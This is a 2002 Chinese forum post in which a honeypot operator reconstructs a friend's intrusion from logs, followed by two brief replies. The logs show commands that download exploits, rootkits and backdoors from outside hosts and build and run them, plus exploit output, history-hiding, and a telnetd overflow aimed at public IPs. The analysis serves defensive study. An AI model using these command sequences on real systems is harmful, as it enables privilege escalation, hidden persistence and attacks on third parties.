黑色海岸线论坛 - Powered by Discuz! Board

标题: 一次入侵秀的详细分析 [打印本页]

作者: 野狼 时间: 2002-12-5 11:26 标题: 一次入侵秀的详细分析

1.起因本文聚焦于我的Linux Honeypot，她在网络中散发着阵阵蜜香，引诱蠕虫和各路客们的光临。为了让honeypot 更加attractive，都要采取一些处理方式。最近邮件列表中还有过这种讨论，有个家伙说他朋友在某黑客IRC 中公布了 honeypot 的IP 地址，结果一帮罗马利亚黑客入侵后发现是一个蜜罐系统，所有动作都被完整记录，于是愤怒了，采用分布式拒绝服务方式疯狂报复，导致临近网络瘫痪一个月之久。所以，在引诱入侵者的时候要讲究技巧。上个月我曾和一个朋友聊起我的方法：建立一个普通用户账号，密码同用户名，在控制台上用该账号登录，让他一直发呆，同时确认系统开放着finger 服务。比较怀旧的入侵者对finger还是情有独钟的，企图finger出一大堆用户名，然后简单猜测密码进入系统，期望能够与后生可畏的Script Kids 们划清界限。没想到我的朋友记忆力特别好，事隔一个月，在我没发请柬的情况下，轻车熟路的找到honeypot，然后用那个普通账号登录了进去。明明知道这是个蜜罐系统，所有行为都被监控和记录，还要企图本地拿root、安装后门、作为肉鸡攻击其他机器，不就是在舞台上表演请观众们欣赏么？这就是入侵秀一词的由来。下面就让我们一起来观摩这场表演，素材主要来源于日志服务器收集到的系统日志、历史命令，以及Snort 录下的会话过程。当然，为了节约篇幅和保护隐私作了部分裁减。希望读者从各自的角度都能有所收获。 2.扫描一个周六的下午，Snort 报警提示有来自202.X.X.X 的SuperScan 扫描，发送了一个ICMP Echo 的数据包测试系统是否存活： 2002-9-21 16:48 snort[1852]: [1:474:1] ICMP superscan echo [Classification: Attempted Information Leak] [Priority: 2]: {ICMP} 202.X.X.X -> 10.0.0.1 同时，系统日志记录了后续进行的端口探测活动： Sinbad Technical Publications Page 2 2002-9-21 16:48 in.rlogind[1316]: connect from 210.X.X.X 2002-9-21 16:48 inetd[413]: pid 1318: exit status 1 2002-9-21 16:48 in.rshd[1318]: connect from 210.X.X.X 2002-9-21 16:48 in.fingerd[1315]: connect from 210.X.X.X 2002-9-21 16:48 in.telnetd[1313]: connect from 210.X.X.X 2002-9-21 16:48 rshd[1318]: Connection from 210.X.X.X on illegal port 2002-9-21 16:48 telnetd[1313]: ttloop: peer died: EOF 2002-9-21 16:48 inetd[413]: pid 1316: exit status 1 2002-9-21 16:48 inetd[413]: pid 1313: exit status 1 2002-9-21 16:48 sendmail[1314]: NOQUEUE: Null connection from [210.X.X.X] 2002-9-21 16:48 in.fingerd[1319]: connect from 210.X.X.X 2002-9-21 16:48 in.telnetd[1320]: connect from 210.X.X.X 注意到没有，这些端口连接的源地址不是发送ICMP Echo 的202.X.X.X，而是 210.X.X.X这个地址。很显然，我的朋友使用了TCP/UDP协议的代理跳板，而 ICMP 协议不被该跳板支持，所以他的真实IP 地址也暴露了。:P 3.本地越权尝试用我的诱饵账号tom轻松登入，一次成功，就像进自己家一样： 2002-9-21 16:52 login: LOGIN ON 1 BY tom FROM 210.X.X.X 2002-9-21 16:52 PAM_pwdb[1321]: (login) session opened for user tom by(uid=0) 用cat 重定向加粘贴方式传送一段本地越权脚本到系统内，请注意时间差，他的翻箱倒柜花了4 分钟： 2002-9-21 16:52 -bash: HISTORY: PID=1322 UID=500 ls 2002-9-21 16:52 -bash: HISTORY: PID=1322 UID=500 w 2002-9-21 16:52 -bash: HISTORY: PID=1322 UID=500 pwd 2002-9-21 16:52 -bash: HISTORY: PID=1322 UID=500 cd .. 2002-9-21 16:52 -bash: HISTORY: PID=1322 UID=500 ls 2002-9-21 16:56 -bash: HISTORY: PID=1322 UID=500 cd tom 2002-9-21 16:56 -bash: HISTORY: PID=1322 UID=500 cat > 1.sh 2002-9-21 16:56 -bash: HISTORY: PID=1322 UID=500 chmod 755 1.sh 2002-9-21 16:56 -bash: HISTORY: PID=1322 UID=500 ./1.sh 2002-9-21 16:58 -bash: HISTORY: PID=1322 UID=500 ls Sinbad Technical Publications Page 3 输入./1.sh 执行后的结果呢？我们通过检查Snort 的SESSION录像后发现，系统由于缺少相关库文件，没成功。注意：录像中命令输入的每个字符都出现了两遍，这是终端的回显功能，Snort是忠实的作了双向记录： [tom@abc tom]$ ..//11..sshh +-----------------------------------------------------------+ | Linux kernel 2.2.X (X<=15) & sendmail <= 8.10.1 | | local root exploit | | | | Bugs found and exploit wr#tten by Wojciech Purczynski | | wp@elzabsoft.pl cliph/ircnet Vooyec/dalnet | +-----------------------------------------------------------+ Creating temporary directory Creating anti-noexec library (capdrop.c) Compiling anti-noexec library (capdrop.so) Creating suid shell (sush.c) Compiling suid shell (sush.c) Creating shell script Creating own sm.cf Dropping CAP_SETUID and calling sendmail /bin/true: error in loading shared libraries: /tmp/foo/capdrop.so: cannot open shared object file: No such file or directory Waiting for suid shell (/tmp/sush) [tom@abc tom]$ llss 第一次尝试失败，删除1.sh，同时留下“XXXX到此一游”的签名。也好，知道是你干的了J 2002-9-21 16:58 -bash: HISTORY: PID=1322 UID=500 rm -rf 1.sh 2002-9-21 16:58 -bash: HISTORY: PID=1322 UID=500 echo haha shi wo XXXX > haha.txt 我的朋友开始闲逛了，好像没什么收获： 2002-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 cd /tmp 2002-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 ls 2002-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 cd foo 2002-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 ls Sinbad Technical Publications Page 4 2002-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 cd .. 2002-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 ls -al 2002-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 cd .font-unix 2002-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 ls 2002-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 cd fs-1 2002-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 ls 2002-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 cd fs-1 2002-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 ls -al 2002-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 cd / 2002-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 ls 2002-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 cd home 2002-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 ls 2002-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 cd ftp 2002-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 ls 2002-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 ls 2002-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 cd / 2002-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 ls 2002-9-21 17:01 -bash: HISTORY: PID=1322 UID=500 ps -ef 4.第二次本地越权尝试重新换了个本地越权程序，编译后又立即把它删除了？ 2002-9-21 17:05 -bash: HISTORY: PID=1322 UID=500 cd ~tom 2002-9-21 17:05 -bash: HISTORY: PID=1322 UID=500 cat > su.c 2002-9-21 17:05 -bash: HISTORY: PID=1322 UID=500 gcc -o su su.c 2002-9-21 17:05 -bash: HISTORY: PID=1322 UID=500 ls 2002-9-21 17:06 -bash: HISTORY: PID=1322 UID=500 rm -rf su.c 原来是编译的时候出错了。源代码中有些字符在用cat 重定向粘贴的时候出了问题： [tom@abc tom]$ ggcccc - -oo ssuu susu..cc su.c:101: unterminated character constant Sinbad Technical Publications Page 5 换种方式，vi 一个新文件，往里面贴： 2002-9-21 17:06 -bash: HISTORY: PID=1322 UID=500 vi su.c 2002-9-21 17:07 -bash: HISTORY: PID=1322 UID=500 gcc -o su su.c 这次的效果更加不好，出现了三个错误。同时我们也注意到，记录下来的的输入命令部分有大量的[A、[D 字符，这其实是在用上下键寻找刚才敲过的历史命令“gcc –o su su.c”，看来他是够懒的:P [tom@abc tom]$ [Avi su.c[A[D[D[D[D[D[D[D[4@rm -rf su.c[A[D[D[D[D[D[D[D[D[D[D[Dls[K[A[D[Dgcc -o su su.c su.c:107: unterminated character constant su.c:523: unterminated string or character constant su.c:130: possible real start of unterminated constant 又留下一句话“以后有空再搞”，走了。周末下午的5 点多，应该有活动吧： 2002-9-21 17:09 -bash: HISTORY: PID=1322 UID=500 ls 2002-9-21 17:10 -bash: HISTORY: PID=1322 UID=500 rm -rf *.c 2002-9-21 17:10 -bash: HISTORY: PID=1322 UID=500 echo kao,yihou you kong zai gao >> haha.txt 2002-9-21 17:11 -bash: HISTORY: PID=1322 UID=500 w 2002-9-21 17:11 -bash: HISTORY: PID=1322 UID=500 ls -al 2002-9-21 17:11 -bash: HISTORY: PID=1322 UID=500 cat .bash_history 2002-9-21 17:13 -bash: HISTORY: PID=1322 UID=500 cat /etc/passwd 2002-9-21 17:16 -bash: HISTORY: PID=1322 UID=500 exit 5.第三次本地越权尝试两天后，我的朋友又来了。是一个周一的下午，上班时间，看来他的工作不是很忙。这就是“搞机器”一族的共同特点：拥有大量的时间和精力。 2002-9-23 13:28 in.telnetd[5567]: connect from 210.X.X.X 2002-9-23 13:28 PAM_pwdb[5568]: (login) session opened for user tom by(uid=0) 2002-9-23 13:28 login: LOGIN ON 1 BY tom FROM 210.X.X.X Sinbad Technical Publications Page 6 这次他吸取了教训，试图用wget 直接从网上下载，不过我的系统好像没有装 wget，或者PATH 值不对，最后他改用lynx 加-dump 参数成功的从国内一个 hack.co.za 的镜像站点下载了利用/bin/su 的越权程序su.c，编译后执行，终于获得了本地root权限： 2002-9-23 13:29 -bash: HISTORY: PID=5569 UID=500 w 2002-9-23 13:29 -bash: HISTORY: PID=5569 UID=500 ps -ef 2002-9-23 13:32 -bash:HISTORY: PID=5569 UID=500 wget http://www.safechina.net/www_hack_co_za/redhat/5.1/su.c 2002-9-23 13:34 -bash: HISTORY: PID=5569 UID=500 lynx 2002-9-23 13:35 -bash: HISTORY: PID=5569 UID=500 lynx -dump http://www.safechina.net/www_hack_co_za/redhat/5.1/su.c > su.c 2002-9-23 13:35 -bash: HISTORY: PID=5569 UID=500 gcc -o su su.c 2002-9-23 13:35 -bash: HISTORY: PID=5569 UID=500 ./su su exploit by XP Enjoy! Phase 1. Checking paths and write permisions Checking for /usr/bin/msgfmt...Ok Checking for /usr/bin/objdump...Ok Checking write permisions on /tmp...Ok Checking read permisions on /bin/su...Ok Checking for a valid language... [using af_ZA] Ok Checking that /tmp/LC_MESSAGES does not exist...Ok Phase 2. Calculating eat and pad values ......................................................................done eat = 120 and pad = 2 Phase 3. Creating evil libc.mo and setting enviroment vars Phase 4. Getting address of .dtors section of /bin/su ..........................................done .dtors is at 0x0804bd3c Phase 5. Compiling suid shell /tmp/xp created Ok Phase 6. Executing /bin/su - Entering rootshell - sh-2.03# iid Snort也报警提示他获得了root权限： 2002-9-23 13:37 snort[1852]: [1:498:3] ATTACK RESPONSES id check returned root [Classification: Potentially Bad Traffic] [Priority: 2]: {TCP} 10.0.0.1:23 -> 210.x.x.x:4560 Sinbad Technical Publications Page 7 6.安装后门成功取得最高权限后，我的朋友开始下载adore rootkit和一个叫做sunxkdoor 的后门程序： 2002-9-23 13:39 sh: HISTORY: PID=7046 UID=0 lynx -dump http://stealth.7350.org/rootkits/adore-0.52.tgz > 1.tgz 2002-9-23 13:47 sh: HISTORY: PID=7046 UID=0 lynx -dump http://www.sunx.org/mysoft/sunxkdoor.tar > 1.tar 不过这次又失败了，重定向的文件都是0 字节。因为在越权获得的这个shell 中，lynx并不能正常的工作： sh-2.03# lynx -dump http://stealth.7350.org/rootkits/adore-0.52.tgz >> 1.tgz Your terminal lacks the ability to clear the screen or position the cursor. sh-2.03# llyynnxx --dduummpp http:h//www.sunx.org/mysoft/sunxkdoor.tarttp://www.sunx.org/mysoft/sunxkdoor.tar >> 11..ttarar Your terminal lacks the ability to clear the screen or position the cursor. sh-2.03# lls s-a l -al total 4 drwxr-xr-x 2 tom tom 1024 Sep 22 21:43 . drwxrwxrwt 5 root root 1024 Sep 22 21:35 .. -rw-rw-r-- 1 root root 0 Sep 22 21:43 1.tar -rw-rw-r-- 1 root root 0 Sep 22 21:37 1.tgz -rw-rw-r-- 1 root root 0 Sep 22 21:37 adore.tgz -rwxrwxrwx 1 tom tom 458 Sep 22 21:35 libc.mo -rw-rw-r-- 1 tom tom 428 Sep 22 21:35 libc.po sh-2.03# rrm m --rrff ** 多次失败之后，他退出了rootshell 返回到正常的终端下，成功的用lynx 分别下载了一个攻击telnet 守护进程的telnetd.c 保存为1.c、adore rootkit 保存为 1.tgz、sunxkdoor 后门保存为2.tar： sh-2.03# eexxiitt exit Sinbad Technical Publications Page 8 Phase 7. Cleaning enviroment rm: cannot unlink `/tmp/xp': Operation not permitted 2002-9-23 14:03 -bash: HISTORY: PID=5569 UID=500 lynx -dump http://www.linux-secure.net/pliki/exploits/telnetd/telnetd.c> 1.c 2002-9-23 14:04 -bash: HISTORY: PID=5569 UID=500 lynx -dump http://stealth.7350.org/rootkits/adore-0.52.tgz> 1.tgz 2002-9-23 14:04 -bash: HISTORY: PID=5569 UID=500 ls -al 2002-9-23 14:05 -bash: HISTORY: PID=5569 UID=500 tar zxfv 1.tgz 2002-9-23 14:05 -bash: HISTORY: PID=5569 UID=500 cd adore 2002-9-23 14:05 -bash: HISTORY: PID=5569 UID=500 ls 2002-9-23 14:05 -bash: HISTORY: PID=5569 UID=500 ./configure 2002-9-23 14:05 -bash: HISTORY: PID=5569 UID=500 make 2002-9-23 14:06 -bash: HISTORY: PID=5569 UID=500 ls 2002-9-23 14:07 -bash: HISTORY: PID=5569 UID=500 cd .. 2002-9-23 14:08 -bash: HISTORY: PID=5569 UID=500 lynx -dump http://www.sunx.org/mysoft/sunxkdoor.tar > 2.tar 2002-9-23 14:08 -bash: HISTORY: PID=5569 UID=500 ls -al 2002-9-23 14:08 -bash: HISTORY: PID=5569 UID=500 export HISTFILE=/dev/null 下面开始安装sunxkdoor 这个LKM 的后门，这需要root权限，他再次运行su 的越权程序获得rootshell，然后用insmod加载sunxkdoor，便退出了系统利用这个后门绕开登录过程进来了。此后门应该是截获了原有/bin/login 的调用，先是telnet 到系统，在login:提示符后输入sunxkdoor 这个关键串，系统自动断开连接；接着再telnet，就直接获得root的#号提示符。注意，他把下载的三个后门程序都移到tom主目录下新建的TOM目录中了。 2002-9-23 14:08 -bash: HISTORY: PID=5569 UID=500 ./su 2002-9-23 14:10 sh: HISTORY: PID=8570 UID=0 pwd 2002-9-23 14:10 sh: HISTORY: PID=8570 UID=0 cd ~tom 2002-9-23 14:10 sh: HISTORY: PID=8570 UID=0 ls 2002-9-23 14:10 sh: HISTORY: PID=8570 UID=0 tar xfv 2.tar 2002-9-23 14:10 sh: HISTORY: PID=8570 UID=0 export HISTFILE=/dev/null 2002-9-23 14:12 sh: HISTORY: PID=8570 UID=0 cd sunxkdoor 2002-9-23 14:12 sh: HISTORY: PID=8570 UID=0 ls 2002-9-23 14:13 sh: HISTORY: PID=8570 UID=0 gcc -O2 -c sunxknlsh_linux_II.c 2002-9-23 14:13 sh: HISTORY: PID=8570 UID=0 ls 2002-9-23 14:14 sh: HISTORY: PID=8570 UID=0 mv sunxknlsh_linux_II.o ../sun.o 2002-9-23 14:14 sh: HISTORY: PID=8570 UID=0 cd .. 2002-9-23 14:14 sh: HISTORY: PID=8570 UID=0 ls 2002-9-23 14:14 sh: HISTORY: PID=8570 UID=0 w 2002-9-23 14:14 sh: HISTORY: PID=8570 UID=0 rm -rf sunxkdoor 2002-9-23 14:15 sh: HISTORY: PID=8570 UID=0 ls Sinbad Technical Publications Page 9 2002-9-23 14:15 sh: HISTORY: PID=8570 UID=0 mkdir TOM 2002-9-23 14:15 sh: HISTORY: PID=8570 UID=0 mv * TOM 2002-9-23 14:15 sh: HISTORY: PID=8570 UID=0 ls 2002-9-23 14:15 sh: HISTORY: PID=8570 UID=0 cd TOM 2002-9-23 14:15 sh: HISTORY: PID=8570 UID=0 ls 2002-9-23 14:16 sh: HISTORY: PID=8570 UID=0 insmod 2002-9-23 14:16 sh: HISTORY: PID=8570 UID=0 whereis insmod 2002-9-23 14:17 sh: HISTORY: PID=8570 UID=0 /sbin/insmod sun.o 2002-9-23 14:17 sh: HISTORY: PID=8570 UID=0 /sbin/lsmod 2002-9-23 14:17 sh: HISTORY: PID=8570 UID=0 exit 2002-9-23 14:17 -bash: HISTORY: PID=5569 UID=500 exit 2002-9-23 14:17 PAM_pwdb[5568]: (login) session closed for user tom #'! Red Hat Linux release 6.2 (Zoot) Kernel 2.2.14-5.0 on an i686 login: ssuunnxkxkddooroor #'! Red Hat Linux release 6.2 (Zoot) Kernel 2.2.14-5.0 on an i686 [root@abc /]# ccd d ~~ttomom [root@abc tom]# llss TOM 下面开始安装adore，编译的时候缺少一个头文件，我的朋友还是能够从Linux 源代码的目录中找到并拷贝到adore目录中，把adore 编译出来了。启动adore 后，利用工具ava隐藏TOM 目录时，尽管提示hidden，但ls的时候还是能看到。我的朋友很郁闷，可能是adore 和sunxkdoor这两个LKM 之间有冲突。 2002-9-23 14:23 login: HISTORY: PID=8620 UID=0 cd TOM 2002-9-23 14:23 login: HISTORY: PID=8260 UID=0 tar zxfv 1.tgz 2002-9-23 14:23 login: HISTORY: PID=8260 UID=0 cd adore 2002-9-23 14:23 login: HISTORY: PID=8260 UID=0 ls 2002-9-23 14:23 login: HISTORY: PID=8260 UID=0 ./configure 2002-9-23 14:23 login: HISTORY: PID=8260 UID=0 make 2002-9-23 14:23 login: HISTORY: PID=8620 UID=0 find / -name spinlock.h 2002-9-23 14:24 login: HISTORY: PID=8620 UID=0 cp /usr/src/linux-2.2.14/include/asm-i386/spinlock.h . 2002-9-23 14:24 login: HISTORY: PID=8620 UID=0 make 2002-9-23 14:24 login: HISTORY: PID=8620 UID=0 ls 2002-9-23 14:25 login: HISTORY: PID=8620 UID=0 mv *.o ../ 2002-9-23 14:25 login: HISTORY: PID=8620 UID=0 ls Sinbad Technical Publications Page 10 2002-9-23 14:25 login: HISTORY: PID=8620 UID=0 mv ava ../ 2002-9-23 14:26 login: HISTORY: PID=8620 UID=0 mv startadore ../ 2002-9-23 14:26 login: HISTORY: PID=8620 UID=0 ls 2002-9-23 14:26 login: HISTORY: PID=8620 UID=0 cd .. 2002-9-23 14:26 login: HISTORY: PID=8620 UID=0 ls 2002-9-23 14:26 login: HISTORY: PID=8620 UID=0 rm -rf adore 2002-9-23 14:26 login: HISTORY: PID=8620 UID=0 vi startadore 2002-9-23 14:29 login: HISTORY: PID=8620 UID=0 ls 2002-9-23 14:29 login: HISTORY: PID=8620 UID=0 insmod 2002-9-23 14:29 login: HISTORY: PID=8620 UID=0 ./startadore 2002-9-23 14:30 login: HISTORY: PID=8620 UID=0 mv startadore start 2002-9-23 14:30 login: HISTORY: PID=8620 UID=0 ./ava 2002-9-23 14:30 login: HISTORY: PID=8620 UID=0 ./ava h ..TOM 2002-9-23 14:30 login: HISTORY: PID=8620 UID=0 ./ava h ../TOM 2002-9-23 14:30 login: HISTORY: PID=8620 UID=0 cd .. 2002-9-23 14:30 login: HISTORY: PID=8620 UID=0 ls 7.作为跳板攻击他人用adore 没有成功的隐藏目录，我的朋友突然想起来自己曾经下载过一个 telnetd 的远程溢出脚本，于是编译保存为1，就开始了试验，先是攻击本机，后来又改攻公网上的其他机器。理论上讲，honeypot应该限制往外发起的连接，比如同一时间内的连接数，以防止被人安装了分布式拒绝服务程序，用来攻击其他机器，引起不必要的麻烦。我的honeypot并没有做这方面的限制，因为我每天都花时间来观看她里面发生的故事，做到了如指掌J 2002-9-23 14:50 login: HISTORY: PID=8699 UID=0 ./1 -h 127.0.0.1 2002-9-23 14:50 in.telnetd[8774]: connect from 127.0.0.1 2002-9-23 14:50 telnetd[8774]: ttloop: peer died: EOF 2002-9-23 14:56 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.230 -t 5 2002-9-23 14:58 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.230 2002-9-23 14:59 inetd[8783]: 2222/tcp: bind: Address already in use 2002-9-23 14:59 inetd[8783]: extra conf for service 2222/tcp (skipped) 2002-9-23 15:10 inetd[8783]: 2222/tcp: bind: Address already in use 2002-9-23 15:10 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.96 -t 5 2002-9-23 15:10 inetd[8793]: 2222/tcp: bind: Address already in use 2002-9-23 15:10 inetd[8793]: extra conf for service 2222/tcp (skipped) 2002-9-23 15:11 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.106 -t 5 2002-9-23 15:11 inetd[8793]: extra conf for service 2222/tcp (skipped) 2002-9-23 15:12 inetd[8796]: extra conf for service 2222/tcp (skipped) Sinbad Technical Publications Page 11 2002-9-23 15:12 inetd[8796]: 2222/tcp: bind: Address already in use 2002-9-23 15:14 last message repeated 2 times 2002-9-23 15:14 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.186 -t 3 2002-9-23 15:15 inetd[8799]: 2222/tcp: bind: Address already in use 2002-9-23 15:15 inetd[8799]: extra conf for service 2222/tcp (skipped) 2002-9-23 15:15 snort[1852]: [1:648:5] SHELLCODE x86 NOOP [Classification: Executable code was detected] [Priority: 1]: {TCP} 211.xxx.xxx.186:23 -> 10.0.0.1:1053 2002-9-23 15:17 last message repeated 3 times 2002-9-23 15:17 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.25 -t 4 2002-9-23 15:17 inetd[8804]: extra conf for service 2222/tcp (skipped) 2002-9-23 15:17 inetd[8804]: 2222/tcp: bind: Address already in use 2002-9-23 15:18 last message repeated 4 times 2002-9-23 15:18 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.16 -t 5 2002-9-23 15:19 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.16 -t 5 2002-9-23 15:19 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.15 -t 5 2002-9-23 15:20 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.226 -t 4 在这里我没有太多关注这个溢出脚本的执行结果，只是注意到系统产生了大量的同一条日志，都发生在./1 命令执行之后： 2002-9-23 15:20 inetd[8810]: 2222/tcp: bind: Address already in use 经过检查，原来是在tcp/2222 端口打开了一个root 权限的shell！看来这个溢出程序的功能蛮多的，还给自己的机器绑定shell:P 接着，我登录MSN 联系到那位朋友，他说打算结束表演了，于是我开始kill 掉这该死的telnetd 溢出程序，修复伤痕累累的honeypot 让她重新上线。同时备份入侵日志文件，抓住他的把柄以备将来敲诈。:) 8.总结本文介绍了引诱入侵者的一种方法，以及对一个朋友的不请自到所作操作的详细分析。包括借助跳板隐藏真实IP、三次尝试本地越权最后成功、安装了两个 LKM 类的后门、以及作为跳板攻击他人机器。这是一个典型的入侵工作者的作业流程，我们通过分析这些行为的细节，可以学习认识到更多的后门程序、溢出脚本、故障排除方法，甚至个人习惯等一些有趣的东西。

作者: damnyou 时间: 2002-12-5 17:50 标题: 一次入侵秀的详细分析

哈哈，好玩。比较牛B的网管应该有能力作到这些的。其实网管也应该是从黑客里走出来的优秀的一类。

作者: tbhlovemxy 时间: 2003-8-18 00:10 标题: 一次入侵秀的详细分析

55555555你们好历害啊我也要试试嘻嘻

欢迎光临黑色海岸线论坛 (http://bbs.thysea.com/)